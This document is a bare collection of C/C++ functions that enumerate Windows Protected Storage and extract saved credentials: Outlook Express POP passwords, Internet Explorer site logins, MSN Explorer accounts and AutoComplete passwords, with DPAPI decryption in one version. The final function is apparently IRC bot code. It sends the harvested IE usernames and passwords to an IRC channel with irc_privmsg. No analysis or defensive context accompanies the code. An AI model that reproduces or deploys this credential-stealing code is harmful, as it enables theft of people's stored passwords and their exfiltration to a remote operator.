void GetStoredPasswords(void) { HRESULT hRes; HMODULE hPstoreDLL; IPStorePtr spPStore; IEnumPStoreTypesPtr spEnumTypes, spEnumSubTypes; IEnumPStoreItemsPtr spEnumItems; GUID typeGUID, subtypeGUID; LPWSTR szItemName; unsigned long pcbData = 0; unsigned char *ppbData = NULL; _PST_PROMPTINFO *pi = NULL; char szPw[512]=""; hPstoreDLL = LoadLibrary("pstorec.dll"); PStoreCreateInstancePtr PStoreCreateInstance = (PStoreCreateInstancePtr)GetProcAddress(hPstoreDLL, "PStoreCreateInstance"); hRes = PStoreCreateInstance(&spPStore, 0, 0, 0); hRes = spPStore->EnumTypes(0, 0, &spEnumTypes); while(spEnumTypes->raw_Next(1, &typeGUID, 0) == S_OK) { printf("TypeGUID = %.8x\r\n", typeGUID); hRes = spPStore->EnumSubtypes(0, &typeGUID, 0, &spEnumSubTypes); while(spEnumSubTypes->raw_Next(1, &subtypeGUID, 0) == S_OK) { printf("\tSubtypeGUID = %.8x\r\n", subtypeGUID); hRes = spPStore->EnumItems(0, &typeGUID, &subtypeGUID, 0, &spEnumItems); while(spEnumItems->raw_Next(1, &szItemName, 0) == S_OK) { printf("\t\tItemName = %ws\r\n", szItemName); pcbData = 0; ppbData = NULL; pi = NULL; hRes = spPStore->ReadItem(0, &typeGUID, &subtypeGUID, szItemName, &pcbData, &ppbData, pi, 0); if(IsUnicode(ppbData, pcbData)) { printf("\t\tItemData = %ws\r\n",ppbData); } else { printf("\t\tItemData = %s\r\n",ppbData); } } } } }
//-------------------------------------------------------- int EnumPStorage(void) { typedef HRESULT(WINAPI *tPStoreCreateInstance)(IPStore **, DWORD, DWORD, DWORD); static HMODULE hpsDLL; tPStoreCreateInstance pPStoreCreateInstance; IPStorePtr PStore; IEnumPStoreTypesPtr EnumPStoreTypes; HRESULT hRes; GUID TypeGUID; char szItemName[8192]; char *szItemData; u_int iDataLen = 0; char szResName[8192]; char szResData[8192]; char szItemGUID[8192]; char chekingdata[8192]; unsigned long psDataLen = 0; unsigned char *psData = NULL; char msnid[8192]; char msnpass[8192]; if(hpsDLL==NULL) { hpsDLL = LoadLibrary("pstorec.dll"); if(!hpsDLL) { deb("LoadLibrary: %s", fmterr()); return -1; } //deb("pstorec.dll loaded handle 0x%x", hpsDLL); } pPStoreCreateInstance = (tPStoreCreateInstance)GetProcAddress(hpsDLL, "PStoreCreateInstance"); if(pPStoreCreateInstance==NULL) { deb("GetProcAddress: %s", fmterr()); return -1; } //deb("pstorecreateinstance at 0x%x", pPStoreCreateInstance); hRes = pPStoreCreateInstance(&PStore, NULL, NULL, 0); if(hRes!=S_OK) { deb("pPStoreCreateInstance failed: %s", fmterr()); return -1; } //deb("pstorage instance created"); hRes = PStore->EnumTypes(0, 0, &EnumPStoreTypes); if(hRes!=PST_E_OK) { deb("PStore->EnumTypes failed: %s", fmterr()); return -1; } deb("enumerating pstorage "); int dwEnumerated=0; while(EnumPStoreTypes->raw_Next(1, &TypeGUID, 0)==S_OK) { wsprintf(szItemGUID, "%x", TypeGUID); deb("TypeGUID: %x", TypeGUID); IEnumPStoreTypesPtr EnumSubTypes; hRes = PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes); GUID subTypeGUID; while(EnumSubTypes->raw_Next(1, &subTypeGUID, 0)==S_OK) { //deb("enumsubtypes->raw_next"); IEnumPStoreItemsPtr spEnumItems; //deb("enumerating items in %x", TypeGUID); HRESULT hRes = PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems); //deb("enum OK"); LPWSTR itemName; while(spEnumItems->raw_Next(1, &itemName, 0)==S_OK) { psData = NULL; //deb("spEnumItems->raw_next"); wsprintf(szItemName, "%ws", itemName); _PST_PROMPTINFO *pstiinfo = NULL; hRes = PStore->ReadItem(0, &TypeGUID, &subTypeGUID, itemName, &psDataLen, &psData, pstiinfo, 0); //deb("psDataLen: %d", psDataLen); iDataLen = psDataLen>8192 ? psDataLen : 8192; szItemData = (char*)malloc(iDataLen); if(szItemData==NULL) { deb("MEMORY EXHAUS !!!"); return -1; } //deb("Allocated %d bytes at 0x%p", iDataLen, szItemData); memset(szItemData, 0, iDataLen); //deb("psDataLen: %d", psDataLen); if(((unsigned long)lstrlen((char *)psData))<(psDataLen-1)) { //deb("unicode string"); int i = 0; for(DWORD m = 0; m<psDataLen; m += 2) { if(psData[m]==0) { szItemData[i] = ','; } else { szItemData[i] = psData[m]; } i++; } szItemData[i-1] = 0; } else { //deb("szItemData will be %s", psData); wsprintf(szItemData, "%s", psData); } szResName[0] = 0; szResData[0] = 0; //deb("parsing guids"); //220d5cc1 Outlooks int i; if(lstrcmp(szItemGUID, "220d5cc1")==0) { //deb("guid: 220d5cc1"); BOOL bDeletedOEAccount = TRUE; for(i = 0;i<oIndex;i++) { if(lstrcmp(OutlookData[i].POPpass, szItemName)==0) { bDeletedOEAccount = FALSE; AddItemm(OutlookData[i].POPserver, "OutlookExpress", OutlookData[i].POPuser, szItemData); break; } } if(bDeletedOEAccount) AddItemm(szItemName, "Deleted OE Account", OutlookData[i].POPuser, szItemData); } //5e7e8100 - IE:Password-Protected sites if(lstrcmp(szItemGUID, "5e7e8100")==0) { deb("guid: 5e7e8100"); lstrcpy(chekingdata, ""); if(strstr(szItemData, ":")!=0) { lstrcpy(chekingdata, strstr(szItemData, ":")+1); *(strstr(szItemData, ":")) = 0; } AddItemm(szItemName, "IE:Password-Protected sites", szItemData, chekingdata); } // b9819c52 MSN Explorer Signup if(lstrcmp(szItemGUID, "b9819c52")==0) { deb("guid: b9819c52"); int i = 0; BOOL first = TRUE; for(DWORD m = 0;m<psDataLen;m += 2) { if(psData[m]==0) { szItemData[i] = ','; i++; } else { if(IsCharAlphaNumeric(psData[m])||(psData[m]=='@')||(psData[m]=='.')||(psData[m]=='_')) { szItemData[i] = psData[m]; i++; } } } szItemData[i-1] = 0; char *p; p = szItemData+2; //psData[4] - number of msn accounts for(int ii = 0;ii<psData[4];ii++) { deb("enum msg accs"); lstrcpy(msnid, p+1); if(strstr(msnid, ",")!=0) *strstr(msnid, ",") = 0; if(strstr(p+1, ",")!=0) lstrcpy(msnpass, strstr(p+1, ",")+2); if(strstr(msnpass, ",")!=0) *strstr(msnpass, ",") = 0; p = strstr(p+1, ",")+2+lstrlen(msnpass)+7; AddItemm(msnid, "MSN Explorer Signup", msnid, msnpass); } } //e161255a IE if(lstrcmp(szItemGUID, "e161255a")==0) { deb("guid: e161255a szItemName:%s", szItemName); if(strstr(szItemName, "StringIndex")==0) { if(strstr(szItemName, ":String")!=0) *strstr(szItemName, ":String") = 0; lstrcpyn(chekingdata, szItemName, 8); deb("szItemname: stringindex"); if((strstr(chekingdata, "http:/")==0)&&(strstr(chekingdata, "https:/")==0)) AddItemm(szItemName, "IE Auto Complete Fields", szItemData, ""); else { lstrcpy(chekingdata, ""); if(strstr(szItemData, ",")!=0) { lstrcpy(chekingdata, strstr(szItemData, ",")+1); *(strstr(szItemData, ",")) = 0; } AddItemm(szItemName, "AutoComplete Passwords", szItemData, chekingdata); } } } memset(szItemName, 0x0, sizeof(szItemName)); free(szItemData); //deb("freed %d bytes", iDataLen); } deb("done with guid 0x%x", TypeGUID); dwEnumerated++; } } if(dwEnumerated) deb("pstorage enumerated: %d", dwEnumerated); else deb("pstorage is empty"); return 0; }
BOOL ProtectedStorage::EnumProtectedStorage(void) { IPStorePtr pStore; IEnumPStoreTypesPtr EnumPStoreTypes; IEnumPStoreTypesPtr EnumSubTypes; IEnumPStoreItemsPtr spEnumItems; PSTORECREATEINSTANCE pPStoreCreateInstance; HMODULE hpsDLL = LoadLibrary("pstorec.dll"); HRESULT hr; GUID TypeGUID, subTypeGUID; LPWSTR itemName; unsigned long psDataLen = 0; unsigned char *psData = NULL; int i = 0; char szItemName[512]; char szItemData[512]; char szResName[512]; char szResData[512]; char szItemGUID[50]; char szTemp[256]; pPStoreCreateInstance = (PSTORECREATEINSTANCE)GetProcAddress(hpsDLL, "PStoreCreateInstance"); if (pPStoreCreateInstance == NULL) { printf("Unable to obtain handle to PStoreCreateInstance in pstorec.dll\n"); return FALSE; } hr = pPStoreCreateInstance(&pStore, 0, 0, 0); if (FAILED(hr)) { printf("Unable to create protected storage instance (error code %X)\n", hr); return FALSE; } hr = pStore->EnumTypes(0, 0, &EnumPStoreTypes); if (FAILED(hr)) { printf("Unable to enumerate protected storage types (error code %X)\n", hr); return FALSE; } while(EnumPStoreTypes->raw_Next(1, &TypeGUID, 0) == S_OK) { wsprintf(szItemGUID, "%x", TypeGUID); hr = pStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes); if (FAILED(hr)) { printf("Unable to enumerate protected storage subtypes for GUID %S (error code %X)\n", szItemGUID, hr); continue; } while(EnumSubTypes->raw_Next(1, &subTypeGUID, 0) == S_OK) { hr = pStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems); if (FAILED(hr)) { printf("Unable to enumerate protected storage items for GUID %S (error code %X)\n", szItemGUID, hr); continue; } while(spEnumItems->raw_Next(1,&itemName,0) == S_OK) { _PST_PROMPTINFO *pstiinfo = NULL; psDataLen = 0; psData = NULL; wsprintf(szItemName, "%ws", itemName); hr = pStore->ReadItem(0, &TypeGUID, &subTypeGUID, itemName, &psDataLen, &psData, pstiinfo, 0); if (FAILED(hr)) { printf("Unable to read protected storage item %S (error code %X)\n", szItemName, hr); continue; } if(strlen((char*)psData) < (psDataLen - 1)) { i = 0; for(DWORD m = 0; m < psDataLen; m += 2) { if(psData[m] == 0) szItemData[i] = ','; else szItemData[i] = psData[m]; i++; } if (i > 0) szItemData[i - 1] = 0; else szItemData[0] = 0; } else { wsprintf(szItemData, "%s", psData); } strcpy_s(szResName, 512, ""); strcpy_s(szResData, 512, ""); if(_stricmp(szItemGUID, "220d5cc1") == 0) { // GUIDs beginning with "220d5cc1" are Outlook Express BOOL bDeletedOEAccount = TRUE; for(i = 0; i < m_nOutlookCount; i++) { if(strcmp(m_pOutlookDataHead[i].POPpass, szItemName) == 0) { bDeletedOEAccount = FALSE; printf(OUTPUT_FORMAT, m_pOutlookDataHead[i].POPserver, "Outlook Express Account", m_pOutlookDataHead[i].POPuser, szItemData); break; } } if(bDeletedOEAccount) printf(OUTPUT_FORMAT, szItemName, "Deleted Outlook Express Account", m_pOutlookDataHead[i].POPuser, szItemData); } else if(_stricmp(szItemGUID, "5e7e8100") == 0) { // GUIDs beginning with 5e7e8100 are IE password-protected sites strcpy_s(szTemp, 512, ""); // If the item begins with DPAPI, it has been protected using the CryptProtectData call. // Decrypt it using the opposite call. This is a HUGE assumption on my part, but so far // appears to be the case if (strncmp(szItemName, "DPAPI:", 6) == 0) { char* szDecryptedPassword = DecryptData(psDataLen, psData); if (szDecryptedPassword != NULL) { char szUser[200]; memset(szUser, 0, 200); // Also have to figure out the user name. This section may need some work if (strncmp(szItemName + 7, "ftp://", 6) == 0) { size_t nPos = strcspn(szItemName + 13, "@"); if (nPos > 0 && nPos < strlen(szItemName + 13)) { // Found the @ sign - copy everything between ftp:// and the @ sign strncpy_s(szUser, 200, szItemName + 13, nPos); } else { strcpy_s(szUser, 200, szItemName + 13); } } else { // Just copy user name verbatim I guess strcpy_s(szUser, 200, szItemName); } printf(OUTPUT_FORMAT, szItemName, "IE Password-Protected Site", szUser, szDecryptedPassword); free(szDecryptedPassword); } else { printf(OUTPUT_FORMAT, szItemName, "IE Password-Protected Site", szItemName, "ERROR DECRYPTING"); //printf("Decryption error for item %s: error %d\n", szItemName, GetLastError()); } } else if(strstr(szItemData, ":") != 0) { strcpy_s(szTemp, 512, strstr(szItemData, ":") + 1); *(strstr(szItemData, ":")) = 0; printf(OUTPUT_FORMAT, szItemName, "IE Password-Protected Site", szItemData, szTemp); } } else if(_stricmp(szItemGUID, "b9819c52") == 0) { // GUIDs beginning with b9819c52 are MSN Explorer Signup char msnid[100]; char msnpass[100]; BOOL first = TRUE; char *p; for(DWORD m = 0; m < psDataLen; m += 2) { if(psData[m] == 0) { szItemData[i] = ','; i++; } else { if(IsCharAlphaNumeric(psData[m])||(psData[m]=='@')||(psData[m]=='.')||(psData[m]=='_')) { szItemData[i] = psData[m]; i++; } } } szItemData[i - 1] = 0; p = szItemData + 2; //psData[4] - number of msn accounts for(int ii = 0; ii < psData[4]; ii++) { strcpy_s(msnid, 100, p + 1); if(strstr(msnid,",") != 0) *strstr(msnid,",") = 0; if(strstr(p + 1, ",") != 0) strcpy_s(msnpass, 100, strstr(p + 1, ",") + 2); if(strstr(msnpass, ",") != 0) *strstr(msnpass, ",") = 0; p = strstr(p + 1, ",") + 2 + strlen(msnpass) + 7; printf(OUTPUT_FORMAT, msnid, "MSN Explorer Signup", msnid, msnpass); } } else if(_stricmp(szItemGUID, "e161255a") == 0) { // GUIDs beginning with e161255a are other stored IE credentials if(strstr(szItemName, "StringIndex") == 0) { if(strstr(szItemName, ":String") != 0) *strstr(szItemName, ":String") = 0; strncpy_s(szTemp, 512, szItemName, 8); if((strstr(szTemp, "http:/") == 0) && (strstr(szTemp, "https:/") == 0)) printf(OUTPUT_FORMAT, szItemName, "IE Auto Complete Fields", szItemData, ""); else { strcpy_s(szTemp, 512, ""); if(strstr(szItemData, ",") != 0) { strcpy_s(szTemp, 512, strstr(szItemData, ",") + 1); *(strstr(szItemData, ",")) = 0; } printf(OUTPUT_FORMAT, szItemName, "AutoComplete Passwords", szItemData, szTemp); } } } else if(_stricmp(szItemGUID, "89c39569") == 0) { // IdentitiesPass info. It's already been displayed, so just supress these } else { // Catch-all for miscellaneous data strcpy_s(szTemp, 512, ""); if(strstr(szItemData, ":") != 0) { strcpy_s(szTemp, 512, strstr(szItemData, ":") + 1); *(strstr(szItemData, ":")) = 0; } printf(OUTPUT_FORMAT, szItemName, "Unknown", szItemData, szTemp); } ZeroMemory(szItemName, sizeof(szItemName)); ZeroMemory(szItemData, sizeof(szItemData)); } } } return TRUE; }
DWORD WINAPI pstore (LPVOID param) { pststrct pStorInfoX = *((pststrct *)param); pststrct *pStorInfoXs = (pststrct *)param; pStorInfoXs->gotinfo = TRUE; char sendbuf[IRCLINE]; // ImpersonateInteractiveUser(); typedef HRESULT (__stdcall *PSCI)(IPStore **, DWORD, DWORD, DWORD); PSCI fPStoreCreateInstance; HMODULE pstorec_dll = LoadLibrary("pstorec.dll"); if (pstorec_dll) fPStoreCreateInstance = (PSCI)GetProcAddress(pstorec_dll,"PStoreCreateInstance"); else return 0; // if (!IsServiceRunning("ProtectedStorage")) // return 0; int iSent=0; IPStorePtr PStore; HRESULT hRes=fPStoreCreateInstance(&PStore, 0, 0, 0); if (FAILED(hRes)) return 0; IEnumPStoreTypesPtr EnumPStoreTypes; hRes=PStore->EnumTypes(0, 0, &EnumPStoreTypes); if (FAILED(hRes)) return 0; GUID TypeGUID; char szItemName[512]; char szItemData[512]; char szResName[1512]; char szResData[512]; char szItemGUID[50]; while(EnumPStoreTypes->raw_Next(1,&TypeGUID,0) == S_OK) { wsprintf(szItemGUID,"%x",TypeGUID); IEnumPStoreTypesPtr EnumSubTypes; hRes = PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes); GUID subTypeGUID; while(EnumSubTypes->raw_Next(1,&subTypeGUID,0) == S_OK) { IEnumPStoreItemsPtr spEnumItems; HRESULT hRes=PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems); LPWSTR itemName; while(spEnumItems->raw_Next(1,&itemName,0) == S_OK) { wsprintf(szItemName,"%ws",itemName); char chekingdata[200]; unsigned long psDataLen = 0; unsigned char *psData = NULL; _PST_PROMPTINFO *pstiinfo = NULL; hRes = PStore->ReadItem(0,&TypeGUID,&subTypeGUID,itemName,&psDataLen,&psData,pstiinfo,0); if(lstrlen((char *)psData),(psDataLen-1)) { int i=0; for(unsigned int m = 0;m<psDataLen;m+=2) { if(psData[m]==0) szItemData[i]=','; else szItemData[i]=psData[m]; i++; } szItemData[i-1]=0; } else { wsprintf(szItemData,"%s",psData); } lstrcpy(szResName,""); lstrcpy(szResData,""); if (lstrcmp(szItemGUID,"5e7e8100")==0) { lstrcpy(chekingdata,""); if(strstr(szItemData,":")!=0) { lstrcpy(chekingdata,strstr(szItemData,":")+1); *(strstr(szItemData,":"))=0; } iSent++; if ((strcmp(szItemData,"") && strcmp(chekingdata,""))) // irc.msg (CHANNEL_INFO, "pstore", "%s %s:%s", szItemName, szItemData, chekingdata); sprintf(sendbuf,"4<<12[PSTORE] %s %s:%s4>>", szItemName, szItemData, chekingdata); irc_privmsg( pStorInfoX.sock, pStorInfoX.chan, sendbuf, FALSE ); addlog(sendbuf); } if (lstrcmp(szItemGUID,"e161255a")==0) { if (strstr(szItemName,"StringIndex")==0) { if(strstr(szItemName,":String")!=0) *strstr(szItemName,":String")=0; lstrcpyn(chekingdata,szItemName,8); if (strstr(chekingdata,"http:/") || strstr(chekingdata,"https:/")) { lstrcpy(chekingdata,""); if(strstr(szItemData,",")!=0) { lstrcpy(chekingdata,strstr(szItemData,",")+1); *(strstr(szItemData,","))=0; } iSent++; if ((strcmp(szItemData,"") && strcmp(chekingdata,""))) sprintf(sendbuf,"4<<12[PSTORE] 05<12%s %s:%s4>>", szItemName, szItemData, chekingdata); irc_privmsg( pStorInfoX.sock, pStorInfoX.chan, sendbuf, FALSE ); addlog(sendbuf); } } } ZeroMemory(szItemName,sizeof(szItemName)); ZeroMemory(szItemData,sizeof(szItemData)); Sleep (1000); } } } return 0; }